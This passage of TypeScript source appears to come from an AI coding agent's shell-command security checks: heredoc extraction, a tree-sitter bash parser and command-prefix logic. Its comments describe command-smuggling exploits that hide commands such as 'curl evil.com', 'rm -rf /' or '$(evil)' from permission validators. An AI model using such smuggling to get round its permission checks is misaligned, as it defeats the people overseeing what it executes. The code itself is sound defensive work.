* "EOF" while bash uses "\EOF", allowing command smuggling.
*
* Note: Uses [ \t]* (not \s*) to avoid matching across newlines, which would be
* a security issue (could hide commands between << and the delimiter).
*/
const HEREDOC_START_PATTERN =
// eslint-disable-next-line custom-rules/no-lookbehind-regex -- gated by command.includes('<<') at extractHeredocs() entry
/(?<!<)<<(?!<)(-)?[ \t]*(?:(['"])(\\?\w+)\2|\\?(\w+))/
export type HeredocInfo = {
/** The full heredoc text including << operator, delimiter, content, and closing delimiter */
fullText: string
/** The delimiter word (without quotes) */
delimiter: string
/** Start position of the << operator in the original command */
operatorStartIndex: number
/** End position of the << operator (exclusive) - content on same line after this is preserved */
operatorEndIndex: number
/** Start position of heredoc content (the newline before content) */
contentStartIndex: number
/** End position of heredoc content including closing delimiter (exclusive) */
contentEndIndex: number
}
export type HeredocExtractionResult = {
/** The command with heredocs replaced by placeholders */
processedCommand: string
/** Map of placeholder string to original heredoc info */
heredocs: Map<string, HeredocInfo>
}
/**
* Extracts heredocs from a command string and replaces them with placeholders.
*
* This allows shell-quote to parse the command without mangling heredoc syntax.
* After parsing, use `restoreHeredocs` to replace placeholders with original content.
*
* @param command - The shell command string potentially containing heredocs
* @returns Object containing the processed command and a map of placeholders to heredoc info
*
* @example
* ```ts
* const result = extractHeredocs(`cat <<EOF
* hello world
* EOF`);
* // result.processedCommand === "cat __HEREDOC_0_a1b2c3d4__" (salt varies)
* // result.heredocs has the mapping to restore later
* ```
*/
export function extractHeredocs(
command: string,
options?: { quotedOnly?: boolean },
): HeredocExtractionResult {
const heredocs = new Map<string, HeredocInfo>()
// Quick check: if no << present, skip processing
if (!command.includes('<<')) {
return { processedCommand: command, heredocs }
}
// Security: Paranoid pre-validation. Our incremental quote/comment scanner
// (see advanceScan below) does simplified parsing that cannot handle all
// bash quoting constructs. If the command contains
// constructs that could desync our quote tracking, bail out entirely
// rather than risk extracting a heredoc with incorrect boundaries.
// This is defense-in-depth: each construct below has caused or could
// cause a security bypass if we attempt extraction.
//
// Specifically, we bail if the command contains:
// 1. $'...' or $"..." (ANSI-C / locale quoting — our quote tracker
// doesn't handle the $ prefix, would misparse the quotes)
// 2. Backtick command substitution (backtick nesting has complex parsing
// rules, and backtick acts as shell_eof_token for PST_EOFTOKEN in
// make_cmd.c:606, enabling early heredoc closure that our parser
// can't replicate)
if (/\$['"]/.test(command)) {
return { processedCommand: command, heredocs }
}
// Check for backticks in the command text before the first <<.
// Backtick nesting has complex parsing rules, and backtick acts as
// shell_eof_token for PST_EOFTOKEN (make_cmd.c:606), enabling early
// heredoc closure that our parser can't replicate. We only check
// before << because backticks in heredoc body content are harmless.
const firstHeredocPos = command.indexOf('<<')
if (firstHeredocPos > 0 && command.slice(0, firstHeredocPos).includes('`')) {
return { processedCommand: command, heredocs }
}
// Security: Check for arithmetic evaluation context before the first `<<`.
// In bash, `(( x = 1 << 2 ))` uses `<<` as a BIT-SHIFT operator, not a
// heredoc. If we mis-extract it, subsequent lines become "heredoc content"
// and are hidden from security validators, while bash executes them as
// separate commands. We bail entirely if `((` appears before `<<` without
// a matching `))` — we can't reliably distinguish arithmetic `<<` from
// heredoc `<<` in that context. Note: $(( is already caught by
// validateDangerousPatterns, but bare (( is not.
if (firstHeredocPos > 0) {
const beforeHeredoc = command.slice(0, firstHeredocPos)
// Count (( and )) occurrences — if unbalanced, `<<` may be arithmetic
const openArith = (beforeHeredoc.match(/\(\(/g) || []).length
const closeArith = (beforeHeredoc.match(/\)\)/g) || []).length
if (openArith > closeArith) {
return { processedCommand: command, heredocs }
}
}
// Create a global version of the pattern for iteration
const heredocStartPattern = new RegExp(HEREDOC_START_PATTERN.source, 'g')
const heredocMatches: HeredocInfo[] = []
// Security: When quotedOnly skips an unquoted heredoc, we still need to
// track its content range so the nesting filter can reject quoted heredocs
// that appear INSIDE the skipped unquoted heredoc's body. Without this,
// `cat <<EOF\n<<'SAFE'\n$(evil)\nSAFE\nEOF` would extract <<'SAFE' as a
// top-level heredoc, hiding $(evil) from validators — even though in bash,
// $(evil) IS executed (unquoted <<EOF expands its body).
const skippedHeredocRanges: Array<{
contentStartIndex: number
contentEndIndex: number
}> = []
let match: RegExpExecArray | null
// Incremental quote/comment scanner state.
//
// The regex walks forward through the command, and match.index is monotonically
// increasing. Previously, isInsideQuotedString and isInsideComment each
// re-scanned from position 0 on every match — O(n²) when the heredoc body
// contains many `<<` (e.g. C++ with `std::cout << ...`). A 200-line C++
// heredoc hit ~3.7ms per extractHeredocs call, and Bash security validation
// calls extractHeredocs multiple times per command.
//
// Instead, track quote/comment/escape state incrementally and advance from
// the last scanned position. This preserves the OLD helpers' exact semantics:
//
// Quote state (was isInsideQuotedString) is COMMENT-BLIND — it never sees
// `#` and never skips characters for being "in a comment". Inside single
// quotes, everything is literal. Inside double quotes, backslash escapes
// the next char. An unquoted backslash run of odd length escapes the next
// char.
//
// Comment state (was isInsideComment) observes quote state (# inside quotes
// is not a comment) but NOT the reverse. The old helper used a per-call
// `lineStart = lastIndexOf('\n', pos-1)+1` bound on which `#` to consider;
// equivalently, any physical `\n` clears comment state — including `\n`
// inside quotes (since lastIndexOf was quote-blind).
//
// SECURITY: Do NOT let comment mode suppress quote-state updates. If `#` put
// the scanner in a mode that skipped quote chars, then `echo x#"\n<<...`
// (where bash treats `#` as part of the word `x#`, NOT a comment) would
// report the `<<` as unquoted and EXTRACT it — hiding content from security
// validators. The old isInsideQuotedString was comment-blind; we preserve
// that. Both old and new over-eagerly treat any unquoted `#` as a comment
// (bash requires word-start), but since quote tracking is independent, the
// over-eagerness only affects the comment check — causing SKIPS (safe
// direction), never extra EXTRACTIONS.
let scanPos = 0
let scanInSingleQuote = false
let scanInDoubleQuote = false
let scanInComment = false
// Inside "...": true if the previous char was a backslash (next char is escaped).
// Carried across advanceScan calls so a `\` at scanPos-1 correctly escapes
// the char at scanPos.
let scanDqEscapeNext = false
// Unquoted context: length of the consecutive backslash run ending at scanPos-1.
// Used to determine if the char at scanPos is escaped (odd run = escaped).
let scanPendingBackslashes = 0
const advanceScan = (target: number): void => {
for (let i = scanPos; i < target; i++) {
const ch = command[i]!
// Any physical newline clears comment state. The old isInsideComment
// used `lineStart = lastIndexOf('\n', pos-1)+1` (quote-blind), so a
// `\n` inside quotes still advanced lineStart. Match that here by
// clearing BEFORE the quote branches.
if (ch === '\n') scanInComment = false
if (scanInSingleQuote) {
if (ch === "'") scanInSingleQuote = false
continue
}
if (scanInDoubleQuote) {
if (scanDqEscapeNext) {
scanDqEscapeNext = false
continue
}
if (ch === '\\') {
scanDqEscapeNext = true
continue
}
if (ch === '"') scanInDoubleQuote = false
continue
}
// Unquoted context. Quote tracking is COMMENT-BLIND (same as the old
// isInsideQuotedString): we do NOT skip chars for being inside a
// comment. Only the `#` detection itself is gated on not-in-comment.
if (ch === '\\') {
scanPendingBackslashes++
continue
}
const escaped = scanPendingBackslashes % 2 === 1
scanPendingBackslashes = 0
if (escaped) continue
if (ch === "'") scanInSingleQuote = true
else if (ch === '"') scanInDoubleQuote = true
else if (!scanInComment && ch === '#') scanInComment = true
}
scanPos = target
}
while ((match = heredocStartPattern.exec(command)) !== null) {
const startIndex = match.index
// Advance the incremental scanner to this match's position. After this,
// scanInSingleQuote/scanInDoubleQuote/scanInComment reflect the parser
// state immediately BEFORE startIndex, and scanPendingBackslashes is the
// count of unquoted `\` immediately preceding startIndex.
advanceScan(startIndex)
// Skip if this << is inside a quoted string (not a real heredoc operator).
if (scanInSingleQuote || scanInDoubleQuote) {
continue
}
// Security: Skip if this << is inside a comment (after unquoted #).
// In bash, `# <<EOF` is a comment — extracting it would hide commands on
// subsequent lines as "heredoc content" while bash executes them.
if (scanInComment) {
continue
}
// Security: Skip if this << is preceded by an odd number of backslashes.
// In bash, `\<<EOF` is NOT a heredoc — `\<` is a literal `<`, then `<EOF`
// is input redirection. Extracting it would drop same-line commands from
// security checks. The scanner tracks the unquoted backslash run ending
// immediately before startIndex (scanPendingBackslashes).
if (scanPendingBackslashes % 2 === 1) {
continue
}
// Security: Bail if this `<<` falls inside the body of a previously
// SKIPPED heredoc (unquoted heredoc in quotedOnly mode). In bash,
// `<<` inside a heredoc body is just text — it's not a nested heredoc
// operator. Extracting it would hide content that bash actually expands.
let insideSkipped = false
for (const skipped of skippedHeredocRanges) {
if (
startIndex > skipped.contentStartIndex &&
startIndex < skipped.contentEndIndex
) {
insideSkipped = true
break
}
}
if (insideSkipped) {
continue
}
const fullMatch = match[0]
const isDash = match[1] === '-'
// Group 3 = quoted delimiter (may include backslash), group 4 = unquoted
const delimiter = (match[3] || match[4])!
const operatorEndIndex = startIndex + fullMatch.length
// Security: Two checks to verify our regex captured the full delimiter word.
// Any mismatch between our parsed delimiter and bash's actual delimiter
// could allow command smuggling past permission checks.
// Check 1: If a quote was captured (group 2), verify the closing quote
// was actually matched by \2 in the regex (the quoted alternative requires
// the closing quote). The regex's \w+ only matches [a-zA-Z0-9_], so
// non-word chars inside quotes (spaces, hyphens, dots) cause \w+ to stop
// early, leaving the closing quote unmatched.
// Example: <<"EO F" — regex captures "EO", misses closing ", delimiter
// should be "EO F" but we'd use "EO". Skip to prevent mismatch.
const quoteChar = match[2]
if (quoteChar && command[operatorEndIndex - 1] !== quoteChar) {
continue
}
// Security: Determine if the delimiter is quoted ('EOF', "EOF") or
// escaped (\EOF). In bash, quoted/escaped delimiters suppress all
// expansion in the heredoc body — content is literal text. Unquoted
// delimiters (<<EOF) perform full shell expansion: $(), backticks,
// and ${} in the body ARE executed. When quotedOnly is set, skip
// unquoted heredocs so their bodies remain visible to security
// validators (they may contain executable command substitutions).
const isEscapedDelimiter = fullMatch.includes('\\')
const isQuotedOrEscaped = !!quoteChar || isEscapedDelimiter
// Note: We do NOT skip unquoted heredocs here anymore when quotedOnly is
// set. Instead, we compute their content range and add them to
// skippedHeredocRanges, then skip them AFTER finding the closing
// delimiter. This lets the nesting filter correctly reject quoted
// "heredocs" that appear inside unquoted heredoc bodies.
// Check 2: Verify the next character after our match is a bash word
// terminator (metacharacter or end of string). Characters like word chars,
// quotes, $, \ mean the bash word extends beyond our match
// (e.g., <<'EOF'a where bash uses "EOFa" but we captured "EOF").
// IMPORTANT: Only match bash's actual metacharacters — space (0x20),
// tab (0x09), newline (0x0A), |, &, ;, (, ), <, >. Do NOT use \s which
// also matches \r, \f, \v, and Unicode whitespace that bash treats as
// regular word characters, not terminators.
if (operatorEndIndex < command.length) {
const nextChar = command[operatorEndIndex]!
if (!/^[ \t\n|&;()<>]$/.test(nextChar)) {
continue
}
}
// In bash, heredoc content starts on the NEXT LINE after the operator.
// Any content on the same line after <<EOF (like " && echo done") is part
// of the command, not the heredoc content.
//
// SECURITY: The "same line" must be the LOGICAL command line, not the
// first physical newline. Multi-line quoted strings extend the logical
// line — bash waits for the quote to close before starting to read the
// heredoc body. A quote-blind `indexOf('\n')` finds newlines INSIDE
// quoted strings, causing the body to start too early.
//
// Exploit: `echo <<'EOF' '${}\n' ; curl evil.com\nEOF`
// - The `\n` inside `'${}\n'` is quoted (literal newline in a string arg)
// - Bash: waits for `'` to close → logical line is
// `echo <<'EOF' '${}\n' ; curl evil.com` → heredoc body = `EOF`
// - Our old code: indexOf('\n') finds the quoted newline → body starts
// at `' ; curl evil.com\nEOF` → curl swallowed into placeholder →
// NEVER reaches permission checks.
//
// Fix: scan forward from operatorEndIndex using quote-state tracking,
// finding the first newline that's NOT inside a quoted string. Same
// quote-tracking semantics as advanceScan (already used to validate
// the `<<` operator position above).
let firstNewlineOffset = -1
{
let inSingleQuote = false
let inDoubleQuote = false
// We start with clean quote state — advanceScan already rejected the
// case where the `<<` operator itself is inside a quote.
for (let k = operatorEndIndex; k < command.length; k++) {
const ch = command[k]
if (inSingleQuote) {
if (ch === "'") inSingleQuote = false
continue
}
if (inDoubleQuote) {
if (ch === '\\') {
k++ // skip escaped char inside double quotes
continue
}
if (ch === '"') inDoubleQuote = false
continue
}
// Unquoted context
if (ch === '\n') {
firstNewlineOffset = k - operatorEndIndex
break
}
// Count backslashes for escape detection in unquoted context
let backslashCount = 0
for (let j = k - 1; j >= operatorEndIndex && command[j] === '\\'; j--) {
backslashCount++
}
if (backslashCount % 2 === 1) continue // escaped char
if (ch === "'") inSingleQuote = true
else if (ch === '"') inDoubleQuote = true
}
// If we ended while still inside a quote, the logical line never ends —
// there is no heredoc body. Leave firstNewlineOffset as -1 (handled below).
}
// If no unquoted newline found, this heredoc has no content - skip it
if (firstNewlineOffset === -1) {
continue
}
// Security: Check for backslash-newline continuation at the end of the
// same-line content (text between the operator and the newline). In bash,
// `\<newline>` joins lines BEFORE heredoc parsing — so:
// cat <<'EOF' && \
// rm -rf /
// content
// EOF
// bash joins to `cat <<'EOF' && rm -rf /` (rm is part of the command line),
// then heredoc body = `content`. Our extractor runs BEFORE continuation
// joining (commands.ts:82), so it would put `rm -rf /` in the heredoc body,
// hiding it from all validators. Bail if same-line content ends with an
// odd number of backslashes.
const sameLineContent = command.slice(
operatorEndIndex,
operatorEndIndex + firstNewlineOffset,
)
let trailingBackslashes = 0
for (let j = sameLineContent.length - 1; j >= 0; j--) {
if (sameLineContent[j] === '\\') {
trailingBackslashes++
} else {
break
}
}
if (trailingBackslashes % 2 === 1) {
// Odd number of trailing backslashes → last one escapes the newline
// → this is a line continuation. Our heredoc-before-continuation order
// would misparse this. Bail out.
continue
}
const contentStartIndex = operatorEndIndex + firstNewlineOffset
const afterNewline = command.slice(contentStartIndex + 1) // +1 to skip the newline itself
const contentLines = afterNewline.split('\n')
// Find the closing delimiter - must be on its own line
// Security: Must match bash's exact behavior to prevent parsing discrepancies
// that could allow command smuggling past permission checks.
let closingLineIndex = -1
for (let i = 0; i < contentLines.length; i++) {
const line = contentLines[i]!
if (isDash) {
// <<- strips leading TABS only (not spaces), per POSIX/bash spec.
// The line after stripping leading tabs must be exactly the delimiter.
const stripped = line.replace(/^\t*/, '')
if (stripped === delimiter) {
closingLineIndex = i
break
}
} else {
// << requires the closing delimiter to be exactly alone on the line
// with NO leading or trailing whitespace. This matches bash behavior.
if (line === delimiter) {
closingLineIndex = i
break
}
}
// Security: Check for PST_EOFTOKEN-like early closure (make_cmd.c:606).
// Inside $(), ${}, or backtick substitution, bash closes a heredoc when
// a line STARTS with the delimiter and contains the shell_eof_token
// (`)`, `}`, or backtick) anywhere after it. Our parser only does exact
// line matching, so this discrepancy could hide smuggled commands.
//
// Paranoid extension: also bail on bash metacharacters (|, &, ;, (, <,
// >) after the delimiter, which could indicate command syntax from a
// parsing discrepancy we haven't identified.
//
// For <<- heredocs, bash strips leading tabs before this check.
const eofCheckLine = isDash ? line.replace(/^\t*/, '') : line
if (
eofCheckLine.length > delimiter.length &&
eofCheckLine.startsWith(delimiter)
) {
const charAfterDelimiter = eofCheckLine[delimiter.length]!
if (/^[)}`|&;(<>]$/.test(charAfterDelimiter)) {
// Shell metacharacter or substitution closer after delimiter —
// bash may close the heredoc early here. Bail out.
closingLineIndex = -1
break
}
}
}
// Security: If quotedOnly mode is set and this is an unquoted heredoc,
// record its content range for nesting checks but do NOT add it to
// heredocMatches. This ensures quoted "heredocs" inside its body are
// correctly rejected by the insideSkipped check on subsequent iterations.
//
// CRITICAL: We do this BEFORE the closingLineIndex === -1 check. If the
// unquoted heredoc has no closing delimiter, bash still treats everything
// to end-of-input as the heredoc body (and expands $() within it). We
// must block extraction of any subsequent quoted "heredoc" that falls
// inside that unbounded body.
if (options?.quotedOnly && !isQuotedOrEscaped) {
let skipContentEndIndex: number
if (closingLineIndex === -1) {
// No closing delimiter — in bash, heredoc body extends to end of
// input. Track the entire remaining range as "skipped body".
skipContentEndIndex = command.length
} else {
const skipLinesUpToClosing = contentLines.slice(0, closingLineIndex + 1)
const skipContentLength = skipLinesUpToClosing.join('\n').length
skipContentEndIndex = contentStartIndex + 1 + skipContentLength
}
skippedHeredocRanges.push({
contentStartIndex,
contentEndIndex: skipContentEndIndex,
})
continue
}
// If no closing delimiter found, this is malformed - skip it
if (closingLineIndex === -1) {
continue
}
// Calculate end position: contentStartIndex + 1 (newline) + length of lines up to and including closing delimiter
const linesUpToClosing = contentLines.slice(0, closingLineIndex + 1)
const contentLength = linesUpToClosing.join('\n').length
const contentEndIndex = contentStartIndex + 1 + contentLength
// Security: Bail if this heredoc's content range OVERLAPS with any
// previously-skipped heredoc's content range. This catches the case where
// two heredocs share a command line (`cat <<EOF <<'SAFE'`) and the first
// is unquoted (skipped in quotedOnly mode). In bash, when multiple heredocs
// share a line, their bodies appear SEQUENTIALLY (first's body, then
// second's). Both compute contentStartIndex from the SAME newline, so the
// second's body search walks through the first's body. For:
// cat <<EOF <<'SAFE'
// $(evil_command)
// EOF
// safe body
// SAFE
// ...the quoted <<'SAFE' would incorrectly extract lines 2-4 as its body,
// swallowing `$(evil_command)` (which bash EXECUTES via the unquoted
// <<EOF's expansion) into the placeholder, hiding it from validators.
//
// The insideSkipped check above doesn't catch this because the quoted
// operator's startIndex is on the command line BEFORE contentStart.
// The contentStartPositions dedup check below doesn't catch it because the
// skipped heredoc is in skippedHeredocRanges, not topLevelHeredocs.
let overlapsSkipped = false
for (const skipped of skippedHeredocRanges) {
// Ranges [a,b) and [c,d) overlap iff a < d && c < b
if (
contentStartIndex < skipped.contentEndIndex &&
skipped.contentStartIndex < contentEndIndex
) {
overlapsSkipped = true
break
}
}
if (overlapsSkipped) {
continue
}
// Build fullText: operator + newline + content (normalized form for restoration)
// This creates a clean heredoc that can be restored correctly
const operatorText = command.slice(startIndex, operatorEndIndex)
const contentText = command.slice(contentStartIndex, contentEndIndex)
const fullText = operatorText + contentText
heredocMatches.push({
fullText,
delimiter,
operatorStartIndex: startIndex,
operatorEndIndex,
contentStartIndex,
contentEndIndex,
})
}
// If no valid heredocs found, return original
if (heredocMatches.length === 0) {
return { processedCommand: command, heredocs }
}
// Filter out nested heredocs - any heredoc whose operator starts inside
// another heredoc's content range should be excluded.
// This prevents corruption when heredoc content contains << patterns.
const topLevelHeredocs = heredocMatches.filter((candidate, _i, all) => {
// Check if this candidate's operator is inside any other heredoc's content
for (const other of all) {
if (candidate === other) continue
// Check if candidate's operator starts within other's content range
if (
candidate.operatorStartIndex > other.contentStartIndex &&
candidate.operatorStartIndex < other.contentEndIndex
) {
// This heredoc is nested inside another - filter it out
return false
}
}
return true
})
// If filtering removed all heredocs, return original
if (topLevelHeredocs.length === 0) {
return { processedCommand: command, heredocs }
}
// Check for multiple heredocs sharing the same content start position
// (i.e., on the same line). This causes index corruption during replacement
// because indices are calculated on the original string but applied to
// a progressively modified string. Return without extraction - the fallback
// is safe (requires manual approval or fails parsing).
const contentStartPositions = new Set(
topLevelHeredocs.map(h => h.contentStartIndex),
)
if (contentStartPositions.size < topLevelHeredocs.length) {
return { processedCommand: command, heredocs }
}
// Sort by content end position descending so we can replace from end to start
// (this preserves indices for earlier replacements)
topLevelHeredocs.sort((a, b) => b.contentEndIndex - a.contentEndIndex)
// Generate a unique salt for this extraction to prevent placeholder collisions
// with literal "__HEREDOC_N__" text in commands
const salt = generatePlaceholderSalt()
let processedCommand = command
topLevelHeredocs.forEach((info, index) => {
// Use reverse index since we sorted descending
const placeholderIndex = topLevelHeredocs.length - 1 - index
const placeholder = `${HEREDOC_PLACEHOLDER_PREFIX}${placeholderIndex}_${salt}${HEREDOC_PLACEHOLDER_SUFFIX}`
heredocs.set(placeholder, info)
// Replace heredoc with placeholder while preserving same-line content:
// - Keep everything before the operator
// - Replace operator with placeholder
// - Keep content between operator and heredoc content (e.g., " && echo done")
// - Remove the heredoc content (from newline through closing delimiter)
// - Keep everything after the closing delimiter
processedCommand =
processedCommand.slice(0, info.operatorStartIndex) +
placeholder +
processedCommand.slice(info.operatorEndIndex, info.contentStartIndex) +
processedCommand.slice(info.contentEndIndex)
})
return { processedCommand, heredocs }
}
/**
* Restores heredoc placeholders back to their original content in a single string.
* Internal helper used by restoreHeredocs.
*/
function restoreHeredocsInString(
text: string,
heredocs: Map<string, HeredocInfo>,
): string {
let result = text
for (const [placeholder, info] of heredocs) {
result = result.replaceAll(placeholder, info.fullText)
}
return result
}
/**
* Restores heredoc placeholders in an array of strings.
*
* @param parts - Array of strings that may contain heredoc placeholders
* @param heredocs - The map of placeholders from `extractHeredocs`
* @returns New array with placeholders replaced by original heredoc content
*/
export function restoreHeredocs(
parts: string[],
heredocs: Map<string, HeredocInfo>,
): string[] {
if (heredocs.size === 0) {
return parts
}
return parts.map(part => restoreHeredocsInString(part, heredocs))
}
/**
* Checks if a command contains heredoc syntax.
*
* This is a quick check that doesn't validate the heredoc is well-formed,
* just that the pattern exists.
*
* @param command - The shell command string
* @returns true if the command appears to contain heredoc syntax
*/
export function containsHeredoc(command: string): boolean {
return HEREDOC_START_PATTERN.test(command)
}

230
src/utils/bash/parser.ts Normal file
View File

@@ -0,0 +1,230 @@
import { feature } from 'bun:bundle'
import { logEvent } from '../../services/analytics/index.js'
import { logForDebugging } from '../debug.js'
import {
ensureParserInitialized,
getParserModule,
type TsNode,
} from './bashParser.js'
export type Node = TsNode
export interface ParsedCommandData {
rootNode: Node
envVars: string[]
commandNode: Node | null
originalCommand: string
}
const MAX_COMMAND_LENGTH = 10000
const DECLARATION_COMMANDS = new Set([
'export',
'declare',
'typeset',
'readonly',
'local',
'unset',
'unsetenv',
])
const ARGUMENT_TYPES = new Set(['word', 'string', 'raw_string', 'number'])
const SUBSTITUTION_TYPES = new Set([
'command_substitution',
'process_substitution',
])
const COMMAND_TYPES = new Set(['command', 'declaration_command'])
let logged = false
function logLoadOnce(success: boolean): void {
if (logged) return
logged = true
logForDebugging(
success ? 'tree-sitter: native module loaded' : 'tree-sitter: unavailable',
)
logEvent('tengu_tree_sitter_load', { success })
}
/**
* Awaits WASM init (Parser.init + Language.load). Must be called before
* parseCommand/parseCommandRaw for the parser to be available. Idempotent.
*/
export async function ensureInitialized(): Promise<void> {
if (feature('TREE_SITTER_BASH') || feature('TREE_SITTER_BASH_SHADOW')) {
await ensureParserInitialized()
}
}
export async function parseCommand(
command: string,
): Promise<ParsedCommandData | null> {
if (!command || command.length > MAX_COMMAND_LENGTH) return null
// Gate: ant-only until pentest. External builds fall back to legacy
// regex/shell-quote path. Guarding the whole body inside the positive
// branch lets Bun DCE the NAPI import AND keeps telemetry honest — we
// only fire tengu_tree_sitter_load when a load was genuinely attempted.
if (feature('TREE_SITTER_BASH')) {
await ensureParserInitialized()
const mod = getParserModule()
logLoadOnce(mod !== null)
if (!mod) return null
try {
const rootNode = mod.parse(command)
if (!rootNode) return null
const commandNode = findCommandNode(rootNode, null)
const envVars = extractEnvVars(commandNode)
return { rootNode, envVars, commandNode, originalCommand: command }
} catch {
return null
}
}
return null
}
/**
* SECURITY: Sentinel for "parser was loaded and attempted, but aborted"
* (timeout / node budget / Rust panic). Distinct from `null` (module not
* loaded). Adversarial input can trigger abort under MAX_COMMAND_LENGTH:
* `(( a[0][0]... ))` with ~2800 subscripts hits PARSE_TIMEOUT_MICROS.
* Callers MUST treat this as fail-closed (too-complex), NOT route to legacy.
*/
export const PARSE_ABORTED = Symbol('parse-aborted')
/**
* Raw parse — skips findCommandNode/extractEnvVars which the security
* walker in ast.ts doesn't use. Saves one tree walk per bash command.
*
* Returns:
* - Node: parse succeeded
* - null: module not loaded / feature off / empty / over-length
* - PARSE_ABORTED: module loaded but parse failed (timeout/panic)
*/
export async function parseCommandRaw(
command: string,
): Promise<Node | null | typeof PARSE_ABORTED> {
if (!command || command.length > MAX_COMMAND_LENGTH) return null
if (feature('TREE_SITTER_BASH') || feature('TREE_SITTER_BASH_SHADOW')) {
await ensureParserInitialized()
const mod = getParserModule()
logLoadOnce(mod !== null)
if (!mod) return null
try {
const result = mod.parse(command)
// SECURITY: Module loaded; null here = timeout/node-budget abort in
// bashParser.ts (PARSE_TIMEOUT_MS=50, MAX_NODES=50_000).
// Previously collapsed into `return null` → parse-unavailable → legacy
// path, which lacks EVAL_LIKE_BUILTINS — `trap`, `enable`, `hash` leaked.
if (result === null) {
logEvent('tengu_tree_sitter_parse_abort', {
cmdLength: command.length,
panic: false,
})
return PARSE_ABORTED
}
return result
} catch {
logEvent('tengu_tree_sitter_parse_abort', {
cmdLength: command.length,
panic: true,
})
return PARSE_ABORTED
}
}
return null
}
function findCommandNode(node: Node, parent: Node | null): Node | null {
const { type, children } = node
if (COMMAND_TYPES.has(type)) return node
// Variable assignment followed by command
if (type === 'variable_assignment' && parent) {
return (
parent.children.find(
c => COMMAND_TYPES.has(c.type) && c.startIndex > node.startIndex,
) ?? null
)
}
// Pipeline: recurse into first child (which may be a redirected_statement)
if (type === 'pipeline') {
for (const child of children) {
const result = findCommandNode(child, node)
if (result) return result
}
return null
}
// Redirected statement: find the command inside
if (type === 'redirected_statement') {
return children.find(c => COMMAND_TYPES.has(c.type)) ?? null
}
// Recursive search
for (const child of children) {
const result = findCommandNode(child, node)
if (result) return result
}
return null
}
function extractEnvVars(commandNode: Node | null): string[] {
if (!commandNode || commandNode.type !== 'command') return []
const envVars: string[] = []
for (const child of commandNode.children) {
if (child.type === 'variable_assignment') {
envVars.push(child.text)
} else if (child.type === 'command_name' || child.type === 'word') {
break
}
}
return envVars
}
export function extractCommandArguments(commandNode: Node): string[] {
// Declaration commands
if (commandNode.type === 'declaration_command') {
const firstChild = commandNode.children[0]
return firstChild && DECLARATION_COMMANDS.has(firstChild.text)
? [firstChild.text]
: []
}
const args: string[] = []
let foundCommandName = false
for (const child of commandNode.children) {
if (child.type === 'variable_assignment') continue
// Command name
if (
child.type === 'command_name' ||
(!foundCommandName && child.type === 'word')
) {
foundCommandName = true
args.push(child.text)
continue
}
// Arguments
if (ARGUMENT_TYPES.has(child.type)) {
args.push(stripQuotes(child.text))
} else if (SUBSTITUTION_TYPES.has(child.type)) {
break
}
}
return args
}
function stripQuotes(text: string): string {
return text.length >= 2 &&
((text[0] === '"' && text.at(-1) === '"') ||
(text[0] === "'" && text.at(-1) === "'"))
? text.slice(1, -1)
: text
}

204
src/utils/bash/prefix.ts Normal file
View File

@@ -0,0 +1,204 @@
import { buildPrefix } from '../shell/specPrefix.js'
import { splitCommand_DEPRECATED } from './commands.js'
import { extractCommandArguments, parseCommand } from './parser.js'
import { getCommandSpec } from './registry.js'
const NUMERIC = /^\d+$/
const ENV_VAR = /^[A-Za-z_][A-Za-z0-9_]*=/
// Wrapper commands with complex option handling that can't be expressed in specs
const WRAPPER_COMMANDS = new Set([
'nice', // command position varies based on options
])
const toArray = <T>(val: T | T[]): T[] => (Array.isArray(val) ? val : [val])
// Check if args[0] matches a known subcommand (disambiguates wrapper commands
// that also have subcommands, e.g. the git spec has isCommand args for aliases).
function isKnownSubcommand(
arg: string,
spec: { subcommands?: { name: string | string[] }[] } | null,
): boolean {
if (!spec?.subcommands?.length) return false
return spec.subcommands.some(sub =>
Array.isArray(sub.name) ? sub.name.includes(arg) : sub.name === arg,
)
}
export async function getCommandPrefixStatic(
command: string,
recursionDepth = 0,
wrapperCount = 0,
): Promise<{ commandPrefix: string | null } | null> {
if (wrapperCount > 2 || recursionDepth > 10) return null
const parsed = await parseCommand(command)
if (!parsed) return null
if (!parsed.commandNode) {
return { commandPrefix: null }
}
const { envVars, commandNode } = parsed
const cmdArgs = extractCommandArguments(commandNode)
const [cmd, ...args] = cmdArgs
if (!cmd) return { commandPrefix: null }
// Check if this is a wrapper command by looking at its spec
const spec = await getCommandSpec(cmd)
// Check if this is a wrapper command
let isWrapper =
WRAPPER_COMMANDS.has(cmd) ||
(spec?.args && toArray(spec.args).some(arg => arg?.isCommand))
// Special case: if the command has subcommands and the first arg matches a subcommand,
// treat it as a regular command, not a wrapper
if (isWrapper && args[0] && isKnownSubcommand(args[0], spec)) {
isWrapper = false
}
const prefix = isWrapper
? await handleWrapper(cmd, args, recursionDepth, wrapperCount)
: await buildPrefix(cmd, args, spec)
if (prefix === null && recursionDepth === 0 && isWrapper) {
return null
}
const envPrefix = envVars.length ? `${envVars.join(' ')} ` : ''
return { commandPrefix: prefix ? envPrefix + prefix : null }
}
async function handleWrapper(
command: string,
args: string[],
recursionDepth: number,
wrapperCount: number,
): Promise<string | null> {
const spec = await getCommandSpec(command)
if (spec?.args) {
const commandArgIndex = toArray(spec.args).findIndex(arg => arg?.isCommand)
if (commandArgIndex !== -1) {
const parts = [command]
for (let i = 0; i < args.length && i <= commandArgIndex; i++) {
if (i === commandArgIndex) {
const result = await getCommandPrefixStatic(
args.slice(i).join(' '),
recursionDepth + 1,
wrapperCount + 1,
)
if (result?.commandPrefix) {
parts.push(...result.commandPrefix.split(' '))
return parts.join(' ')
}
break
} else if (
args[i] &&
!args[i]!.startsWith('-') &&
!ENV_VAR.test(args[i]!)
) {
parts.push(args[i]!)
}
}
}
}
const wrapped = args.find(
arg => !arg.startsWith('-') && !NUMERIC.test(arg) && !ENV_VAR.test(arg),
)
if (!wrapped) return command
const result = await getCommandPrefixStatic(
args.slice(args.indexOf(wrapped)).join(' '),
recursionDepth + 1,
wrapperCount + 1,
)
return !result?.commandPrefix ? null : `${command} ${result.commandPrefix}`
}
/**
* Computes prefixes for a compound command (with && / || / ;).
* For single commands, returns a single-element array with the prefix.
*
* For compound commands, computes per-subcommand prefixes and collapses
* them: subcommands sharing a root (first word) are collapsed via
* word-aligned longest common prefix.
*
* @param excludeSubcommand — optional filter; return true for subcommands
* that should be excluded from the prefix suggestion (e.g. read-only
* commands that are already auto-allowed).
*/
export async function getCompoundCommandPrefixesStatic(
command: string,
excludeSubcommand?: (subcommand: string) => boolean,
): Promise<string[]> {
const subcommands = splitCommand_DEPRECATED(command)
if (subcommands.length <= 1) {
const result = await getCommandPrefixStatic(command)
